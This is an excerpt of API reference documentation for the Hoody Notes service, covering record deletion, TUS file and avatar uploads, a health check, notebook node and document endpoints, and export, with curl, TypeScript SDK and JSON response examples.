Field values supplied on update are typed. Each value object must include a `type` field that matches the value's runtime type: `boolean`, `string`, `string_array`, `number`, or `text`. Mismatched types return a `400`.


## Delete a database record

Permanently deletes a record from a database.

### `DELETE /api/v1/notes/notebooks/{notebookId}/databases/{databaseId}/records/{recordId}`

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the parent notebook |
| `databaseId` | path | string | Yes | ID of the database node |
| `recordId` | path | string | Yes | ID of the record to delete |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/notes/notebooks/nb_8f3c1a2b/databases/db_4e9d6f0a/records/rec_01HQ2XK9A1B2C3D4E5F6G7H8J9" \
  -H "Authorization: Bearer <token>"
```


```ts
await client.notes.databases.delete({
  notebookId: "nb_8f3c1a2b",
  databaseId: "db_4e9d6f0a",
  recordId: "rec_01HQ2XK9A1B2C3D4E5F6G7H8J9",
});
```


```json
{
  "success": true
}
```


```json
{
  "message": "You do not have permission to perform this action.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Insufficient permissions | User role does not have permission for this action | Request a higher role from the notebook or node admin |


```json
{
  "message": "Record not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Record not found | No record with the given ID exists in the database | Verify record ID using listRecords or searchRecords |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |




Deletion is permanent. The record and all of its field values are removed immediately and cannot be recovered.

---

# Notes: File Uploads

**Page:** api/notes/files

[Download Raw Markdown](./api/notes/files.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Overview

These endpoints let you upload, download, list, and delete files and avatars associated with notebooks in Hoody. File uploads use the [TUS protocol](https://tus.io/) for resumable, chunked transfers, making them suitable for large attachments. Avatar uploads accept raw image bytes and are automatically resized to 500&times;500 JPEG.

Use these endpoints when you need to:
- Upload files (images, documents, media) into a notebook for inclusion in pages.
- Upload or retrieve user avatar images.
- Manage resumable uploads for large files via the TUS protocol.

---

## File Management

### `GET /api/v1/notes/notebooks/{notebookId}/files`

List all files uploaded to a notebook with `limit`/`offset` pagination.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the notebook to list files from |
| `limit` | query | integer | No | Maximum number of files to return. Default: `50` |
| `offset` | query | integer | No | Number of files to skip for pagination. Default: `0` |

#### Response




```json
{
  "files": [
    {
      "id": "f1a2b3c4d5e6f7a8b9c0d1e2",
      "name": "architecture-diagram.png",
      "mimeType": "image/png",
      "size": 482104,
      "createdAt": "2024-09-12T14:22:07.000Z",
      "createdBy": "u9k8j7h6g5f4d3s2a1",
      "documentId": "d1c2b3a4e5f6d7c8b9a0",
      "documentName": "Project Architecture"
    },
    {
      "id": "a9b8c7d6e5f4d3c2b1a0",
      "name": "meeting-notes.pdf",
      "mimeType": "application/pdf",
      "size": 102400,
      "createdAt": "2024-09-11T10:05:33.000Z",
      "createdBy": "z1y2x3w4v5u6t7s8r9",
      "documentId": "e5f6d7c8b9a0d1c2b3a4",
      "documentName": null
    }
  ],
  "total": 27
}
```




```json
{
  "message": "Notebook not found.",
  "code": "notebook_not_found",
  "details": [
    {
      "path": "notebookId",
      "message": "No notebook with ID n1b2c3d4e5f6 exists"
    }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `notebook_not_found` | Notebook not found | No notebook exists with the provided ID | Verify notebook ID using listNotebooks |
| `notebook_no_access` | Access denied | User does not have permission to access files in this notebook | Check collaborator list or request access from the notebook owner |




#### SDK Usage

```ts
const page = await client.notes.files.listIterator({
  notebookId: "n1b2c3d4e5f6",
  limit: 50,
  offset: 0,
});
```

---

### `GET /api/v1/notes/notebooks/{notebookId}/files/{fileId}`

Download the binary content of an uploaded file. The response is returned with the file's original MIME type.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the notebook that owns the file |
| `fileId` | path | string | Yes | ID of the file to download |

#### Response




```json
{
  "description": "Binary file content with the original content type"
}
```




#### SDK Usage

```ts
const blob = await client.notes.files.download({
  notebookId: "n1b2c3d4e5f6",
  fileId: "f1a2b3c4d5e6f7a8b9c0d1e2",
});
```

---

### TUS Resumable Uploads


The TUS endpoints implement the [TUS resumable upload protocol](https://tus.io/). They are typically invoked transparently by the Hoody SDK or any TUS-compatible client. You normally do not need to call these directly unless you are building a custom TUS client.


The TUS protocol uses four HTTP methods on the same URL:

| Method | Purpose |
|--------|---------|
| `POST` | Create a new upload (initializes upload metadata) |
| `HEAD` | Check current upload offset and status |
| `PATCH` | Upload a chunk of file data |
| `DELETE` | Abort an in-progress upload |

All four operations share the same path and parameters.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | ID of the notebook that will own the file |
| `fileId` | path | string | Yes | Pre-allocated ID of the file being uploaded |

#### `POST /api/v1/notes/notebooks/{notebookId}/files/{fileId}/tus`

Create a new resumable upload.




```json
{
  "description": "Upload resource created; TUS headers returned in response"
}
```




```ts
await client.notes.files.tusCreateUpload({
  notebookId: "n1b2c3d4e5f6",
  fileId: "f1a2b3c4d5e6f7a8b9c0d1e2",
});
```

#### `HEAD /api/v1/notes/notebooks/{notebookId}/files/{fileId}/tus`

Check the current offset of an in-progress upload.




```json
{
  "description": "Response headers include Upload-Offset indicating the next byte to send"
}
```




```ts
await client.notes.files.tusCheckUpload({
  notebookId: "n1b2c3d4e5f6",
  fileId: "f1a2b3c4d5e6f7a8b9c0d1e2",
});
```

#### `PATCH /api/v1/notes/notebooks/{notebookId}/files/{fileId}/tus`

Upload a chunk of file data. Each request appends bytes at the server's current `Upload-Offset`.




```json
{
  "description": "Chunk accepted; response headers include the new Upload-Offset"
}
```




```ts
await client.notes.files.tusUploadChunk({
  notebookId: "n1b2c3d4e5f6",
  fileId: "f1a2b3c4d5e6f7a8b9c0d1e2",
});
```

#### `DELETE /api/v1/notes/notebooks/{notebookId}/files/{fileId}/tus`

Abort an in-progress upload and discard all received bytes.




```json
{
  "description": "Upload aborted; partial data discarded"
}
```




```ts
await client.notes.files.tusAbortUpload({
  notebookId: "n1b2c3d4e5f6",
  fileId: "f1a2b3c4d5e6f7a8b9c0d1e2",
});
```

---

## Avatar Management

### `POST /api/v1/notes/avatars`

Upload a raw image (JPEG, PNG, or WebP) as a user avatar. The image is automatically resized to 500&times;500 pixels and converted to JPEG.


The avatar is sent as raw binary bytes in the request body. The `Content-Type` header must match the image type (`image/jpeg`, `image/png`, or `image/webp`).


This endpoint takes no parameters.

#### Response




```json
{
  "success": true,
  "id": "a1b2c3d4e5f6a7b8c9d0e1f2"
}
```




```json
{
  "message": "No avatar file was uploaded.",
  "code": "avatar_file_not_uploaded",
  "details": [
    {
      "path": "body",
      "message": "Request body must contain a valid JPEG, PNG, or WebP image"
    }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `avatar_file_not_uploaded` | Invalid upload | No file was uploaded or the content type is not a valid image | Send a multipart form with a JPEG or PNG image file |




```json
{
  "message": "Failed to upload avatar.",
  "code": "avatar_upload_failed",
  "details": [
    {
      "path": "server",
      "message": "Image processing pipeline returned an error"
    }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `avatar_upload_failed` | Upload failed | Avatar upload failed due to a server error | Retry the upload |




#### SDK Usage

```ts
const result = await client.notes.avatars.upload();
// result.id can be used with downloadAvatar to retrieve the image
```

---

### `GET /api/v1/notes/avatars/{avatarId}`

Download an avatar image. Returns the image as JPEG binary data.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `avatarId` | path | string | Yes | ID of the avatar returned from a prior `upload` call |

#### Response




```json
{
  "description": "JPEG binary data"
}
```




#### SDK Usage

```ts
const blob = await client.notes.avatars.download({
  avatarId: "a1b2c3d4e5f6a7b8c9d0e1f2",
});
```

---

# Hoody Notes

**Page:** api/notes/index

[Download Raw Markdown](./api/notes/index.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Overview

Hoody Notes is the collaborative notebook and document service of the Hoody platform. It powers shared notebooks, structured documents, and real-time multi-cursor editing. This page documents the service-level health endpoint used to verify that a deployment of the Notes service is running and reachable.


  
    Check service liveness and inspect runtime metadata such as build time, memory usage, process ID, and caller IP. See the [Health](#health) section below.
  


## Health

### `GET /api/v1/notes/health`

Returns a standardized health payload with service identity, build/start timestamps, resource counters (memory, file descriptors), process ID, peer address, and the caller user-agent. Use this endpoint for readiness/liveness probes and for collecting runtime diagnostics from a running Notes service instance.

This endpoint takes no parameters.


  
  ```bash
  curl -X GET https://api.hoody.com/api/v1/notes/health
  ```
  
  
  ```ts
  const result = await client.notes.health.check();
  ```
  
  
  ```json
  {
    "status": "ok",
    "service": "notes",
    "built": "2024-11-12T08:30:00.000Z",
    "started": "2024-11-15T14:22:11.482Z",
    "memory": {
      "rss": 87495680,
      "heap": 41943040
    },
    "fds": 42,
    "pid": 12847,
    "ip": "203.0.113.42",
    "userAgent": "Hoody-CLI/1.4.2"
  }
  ```
  


#### Response fields

| Field | Type | Description |
|-------|------|-------------|
| `status` | string | Service health status. Always `"ok"` when the endpoint responds successfully. |
| `service` | string | Service name identifier. |
| `built` | string \| null | ISO 8601 build timestamp, or `null` if the build metadata is unavailable. |
| `started` | string | ISO 8601 timestamp marking when the service process started. |
| `memory` | object \| null | Process memory snapshot. Contains `rss` (resident set size in bytes) and `heap` (heap usage in bytes, or `null`). May be `null` if the metric is not available. |
| `fds` | number \| null | Number of open file descriptors, or `null` if the platform does not report this metric. |
| `pid` | number | Operating system process ID of the running service. |
| `ip` | string | Peer IP address of the caller as observed by the service. |
| `userAgent` | string \| null | `User-Agent` header sent by the caller, or `null` if absent. |

---

# Notes: Nodes & Documents

**Page:** api/notes/nodes

[Download Raw Markdown](./api/notes/nodes.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



The Notes Nodes & Documents API lets you manage the tree structure of a notebook, read and write block-based document content, export pages to static formats, and track read interactions. Use these endpoints to build notebook navigation, sync editor content, and surface read receipts.

## Nodes — Read

### `GET /api/v1/notes/notebooks/{notebookId}/nodes`

Returns a paginated list of nodes the user has access to. Filterable by type, parentId, and rootId.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `type` | query | string | No | Filter by node type. |
| `parentId` | query | string | No | Filter by parent node ID. |
| `rootId` | query | string | No | Filter by root node ID. |
| `limit` | query | integer | No | Page size. Default: `50`. |
| `offset` | query | integer | No | Pagination offset. Default: `0`. |
| `notebookId` | path | string | Yes | Notebook ID. |



```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes?type=page&limit=25" \
  -H "Authorization: Bearer <token>"
```


```ts
const { nodes, total } = await client.notes.nodes.list({
  notebookId: "nb_abc123",
  type: "page",
  limit: 25,
});
```


```json
{
  "nodes": [
    {
      "id": "node_8f3a2b",
      "type": "page",
      "parentId": "node_root01",
      "name": "Onboarding"
    },
    {
      "id": "node_1d9c4e",
      "type": "section",
      "parentId": "node_root01",
      "name": "Engineering"
    }
  ],
  "total": 42
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden",
  "details": [
    { "path": "notebookId", "message": "Not a collaborator" }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |



### `GET /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}`

Returns the full details of a single node by ID.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |



```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b" \
  -H "Authorization: Bearer <token>"
```


```ts
const node = await client.notes.nodes.get({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
});
```


```json
{
  "id": "node_8f3a2b",
  "type": "page",
  "name": "Onboarding",
  "parentId": "node_root01",
  "alias": "onboarding",
  "createdAt": "2025-01-12T10:14:22Z"
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |



### `GET /api/v1/notes/notebooks/{notebookId}/nodes/alias/{alias}`

Resolves a page node by its safe alias within the notebook scope.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `alias` | path | string | Yes | Page alias. |



```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/alias/onboarding" \
  -H "Authorization: Bearer <token>"
```


```ts
const node = await client.notes.nodes.getByAlias({
  notebookId: "nb_abc123",
  alias: "onboarding",
});
```


```json
{
  "id": "node_8f3a2b",
  "type": "page",
  "name": "Onboarding",
  "alias": "onboarding",
  "parentId": "node_root01"
}
```


```json
{
  "message": "Invalid alias format.",
  "code": "bad_request",
  "details": [
    { "path": "alias", "message": "Alias must be lowercase alphanumeric with dashes" }
  ]
}
```


```json
{
  "message": "You do not have access to this notebook.",
  "code": "forbidden"
}
```


```json
{
  "message": "No node found with that alias.",
  "code": "not_found"
}
```



### `GET /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/children`

Returns a paginated list of direct children of the specified node.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `limit` | query | integer | No | Page size. Default: `50`. |
| `offset` | query | integer | No | Pagination offset. Default: `0`. |
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Parent node ID. |



```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_root01/children?limit=10" \
  -H "Authorization: Bearer <token>"
```


```ts
const { nodes, total } = await client.notes.nodes.listChildren({
  notebookId: "nb_abc123",
  nodeId: "node_root01",
  limit: 10,
});
```


```json
{
  "nodes": [
    {
      "id": "node_8f3a2b",
      "type": "page",
      "name": "Onboarding"
    },
    {
      "id": "node_1d9c4e",
      "type": "section",
      "name": "Engineering"
    }
  ],
  "total": 7
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |



## Nodes — Write

### `POST /api/v1/notes/notebooks/{notebookId}/nodes`

Creates a new node (section, page, channel, message, database, or record) in the notebook.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `id` | string | No | Optional client-provided ID. |
| `type` | string | Yes | Node type (e.g. `page`, `section`, `channel`). |
| `parentId` | string | No | Parent node ID. |
| `attributes` | object | Yes | Type-specific attributes (name, icon, etc.). |



```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "page",
    "parentId": "node_root01",
    "attributes": { "name": "Onboarding", "icon": "🚀" }
  }'
```


```ts
const node = await client.notes.nodes.create({
  notebookId: "nb_abc123",
  data: {
    type: "page",
    parentId: "node_root01",
    attributes: { name: "Onboarding", icon: "🚀" },
  },
});
```


```json
{
  "id": "node_8f3a2b",
  "type": "page",
  "name": "Onboarding",
  "parentId": "node_root01"
}
```


```json
{
  "message": "Invalid node type.",
  "code": "bad_request",
  "details": [
    { "path": "type", "message": "Unsupported type 'folder'" }
  ]
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Invalid node data | The request body is invalid — missing required fields or unsupported node type | Check the node type is valid and all required attributes are provided |


```json
{
  "message": "You do not have permission to perform this action.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Insufficient permissions | User role does not have permission for this action | Request a higher role from the notebook or node admin |


```json
{
  "message": "Idempotency key conflict.",
  "code": "bad_request"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Idempotency conflict | A different request was already made with the same idempotency key | Use a new idempotency key for a different request |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



### `PATCH /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}`

Updates node attributes (name, description, etc.). Type and parentId cannot be changed.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `attributes` | object | Yes | Partial attributes object to merge. |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "attributes": { "name": "Onboarding Guide", "icon": "📘" }
  }'
```


```ts
const node = await client.notes.nodes.update({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
  data: { attributes: { name: "Onboarding Guide", icon: "📘" } },
});
```


```json
{
  "id": "node_8f3a2b",
  "type": "page",
  "name": "Onboarding Guide",
  "icon": "📘"
}
```


```json
{
  "message": "Invalid attributes payload.",
  "code": "bad_request",
  "details": [
    { "path": "attributes", "message": "name must be a non-empty string" }
  ]
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |


```json
{
  "message": "Concurrent update conflict.",
  "code": "conflict"
}
```


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



### `DELETE /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}`

Permanently deletes a node and its associated data (documents, files, reactions).


This action is irreversible. All child nodes, documents, and attachments under the deleted node are also removed.


#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |



```bash
curl -X DELETE "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b" \
  -H "Authorization: Bearer <token>"
```


```ts
const { success } = await client.notes.nodes.delete({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
});
```


```json
{
  "success": true
}
```


```json
{
  "message": "You do not have permission to perform this action.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Insufficient permissions | User role does not have permission for this action | Request a higher role from the notebook or node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



## Documents

### `GET /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/document`

Retrieves document content for a node. Supports block filtering via `blockIds` and line range queries.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `blockIds` | query | string | No | Comma-separated list of block IDs to include. |
| `lines` | query | string | No | Line range in the form `start-end` (e.g. `1-50`). |
| `output` | query | string | No | Output format. One of `json`, `md`, `html`. |
| `includeComments` | query | string | No | Include comments. One of `none`, `appendix`. Default: `"none"`. |
| `ticket` | query | string | No | Pre-issued export ticket (required when `output=html`). |
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |



```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b/document?output=md" \
  -H "Authorization: Bearer <token>"
```


```ts
const doc = await client.notes.documents.get({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
  output: "md",
  includeComments: "none",
});
```


```json
{
  "id": "doc_4b71a9",
  "content": {
    "type": "doc",
    "content": [
      { "type": "heading", "level": 1, "text": "Onboarding" },
      { "type": "paragraph", "text": "Welcome to the team." }
    ]
  },
  "createdAt": "2025-01-12T10:14:22Z",
  "createdBy": "user_1a2b3c",
  "updatedAt": "2025-02-04T08:31:05Z",
  "updatedBy": "user_4d5e6f"
}
```


```json
{
  "message": "Invalid or missing authentication.",
  "code": "unauthorized"
}
```


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |


```json
{
  "message": "Document not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Document not found | No document content exists for this node, or the node type does not support documents | Create document content with putDocument first |



### `PUT /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/document`

Creates a new document or fully replaces an existing document for a node.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `content` | object | Yes | Full document content (block tree). |



```bash
curl -X PUT "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b/document" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "content": {
      "type": "doc",
      "content": [
        { "type": "heading", "level": 1, "text": "Onboarding" },
        { "type": "paragraph", "text": "Welcome to the team." }
      ]
    }
  }'
```


```ts
const doc = await client.notes.documents.put({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
  data: {
    content: {
      type: "doc",
      content: [
        { type: "heading", level: 1, text: "Onboarding" },
        { type: "paragraph", text: "Welcome to the team." },
      ],
    },
  },
});
```


```json
{
  "id": "doc_4b71a9",
  "content": {
    "type": "doc",
    "content": [
      { "type": "heading", "level": 1, "text": "Onboarding" }
    ]
  },
  "createdAt": "2025-01-12T10:14:22Z",
  "createdBy": "user_1a2b3c",
  "updatedAt": "2025-02-05T09:00:00Z",
  "updatedBy": "user_1a2b3c"
}
```


```json
{
  "message": "Node type does not support documents.",
  "code": "bad_request"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Unsupported node type | This node type does not support document content | Only page, channel, and similar node types support documents |


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |
| `forbidden` | Insufficient permissions | User role does not have permission for this action | Request a higher role from the notebook or node admin |


```json
{
  "message": "Node not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Node not found | No node exists with the provided ID in this notebook | Verify node ID using listNodes or listNodeChildren |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



### `PATCH /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/document`

Merges content into an existing document at the top level. Existing blocks are preserved unless overwritten.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |

#### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `content` | object | Yes | Block-level content to merge. |



```bash
curl -X PATCH "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b/document" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "content": {
      "type": "doc",
      "content": [
        { "type": "paragraph", "text": "Added in patch." }
      ]
    }
  }'
```


```ts
const doc = await client.notes.documents.patch({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
  data: {
    content: {
      type: "doc",
      content: [{ type: "paragraph", text: "Added in patch." }],
    },
  },
});
```


```json
{
  "id": "doc_4b71a9",
  "content": {
    "type": "doc",
    "content": [
      { "type": "heading", "level": 1, "text": "Onboarding" },
      { "type": "paragraph", "text": "Added in patch." }
    ]
  },
  "createdAt": "2025-01-12T10:14:22Z",
  "createdBy": "user_1a2b3c",
  "updatedAt": "2025-02-05T11:22:18Z",
  "updatedBy": "user_1a2b3c"
}
```


```json
{
  "message": "Node type does not support documents.",
  "code": "bad_request"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `bad_request` | Unsupported node type | This node type does not support document content | Only page, channel, and similar node types support documents |


```json
{
  "message": "You do not have access to this node.",
  "code": "forbidden"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `forbidden` | Access denied | User does not have permission to access this node | Check collaborator list or request access from the node admin |
| `forbidden` | Insufficient permissions | User role does not have permission for this action | Request a higher role from the notebook or node admin |


```json
{
  "message": "Document not found.",
  "code": "not_found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `not_found` | Document not found | No document exists for this node — create it with putDocument first | Use putDocument to create the document before patching |


```json
{
  "message": "An unexpected error occurred.",
  "code": "unknown"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `unknown` | Internal server error | An unexpected error occurred while processing the request | Retry the request; if it persists, contact support |



## Export

### `GET /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/blocks/{blockId}/svg`

Renders a drawing block as an SVG image. Supports optional background color and scale factor.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `bg` | query | string | No | CSS-compatible background color (e.g. `#ffffff`, `transparent`). |
| `scale` | query | number | No | Scale factor applied to the output dimensions. |
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |
| `blockId` | path | string | Yes | Drawing block ID. |



```bash
curl -X GET "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b/blocks/block_d12/svg?bg=transparent&scale=2" \
  -H "Authorization: Bearer <token>" \
  -o drawing.svg
```


```ts
const svg = await client.notes.documents.exportBlockSvg({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
  blockId: "block_d12",
  bg: "transparent",
  scale: 2,
});
```


```xml
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 600">
  <rect width="100%" height="100%" fill="transparent"/>
  <path d="M10 80 Q 95 10 180 80 T 350 80" stroke="#1f6feb" fill="none" stroke-width="3"/>
</svg>
```


The response body is raw `image/svg+xml`. Save it to a file or stream directly to a client.




### `POST /api/v1/notes/notebooks/{notebookId}/nodes/{nodeId}/export-ticket`

Creates a short-lived export ticket for static HTML document delivery. Pass the returned `ticket` to `getDocument` with `output=html`.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `notebookId` | path | string | Yes | Notebook ID. |
| `nodeId` | path | string | Yes | Node ID. |

#### Request Body

| Name | Type | Required | Default | Description |
|------|------|----------|---------|-------------|
| `output` | string | No | `"html"` | Export format. Must be `html`. |
| `includeComments` | string | No | `"none"` | Whether to append comments. One of `none`, `appendix`. |
| `includeBackground` | boolean | No | `true` | Whether to render the page background. |
| `themeMode` | string | No | `"dark"` | Theme mode. One of `light`, `dark`. |
| `themeId` | string \| null | No | — | Optional theme identifier (max 64 chars). |
| `themeVariables` | object | No | — | Map of theme variable name to value. |
| `fileName` | string | No | — | Suggested file name (max 128 chars). |



```bash
curl -X POST "https://api.hoody.com/api/v1/notes/notebooks/nb_abc123/nodes/node_8f3a2b/export-ticket" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "output": "html",
    "includeComments": "appendix",
    "themeMode": "light",
    "fileName": "Onboarding.html"
  }'
```


```ts
const { ticket, expiresAt, usesRemaining } = await client.notes.documents.createExportTicket({
  notebookId: "nb_abc123",
  nodeId: "node_8f3a2b",
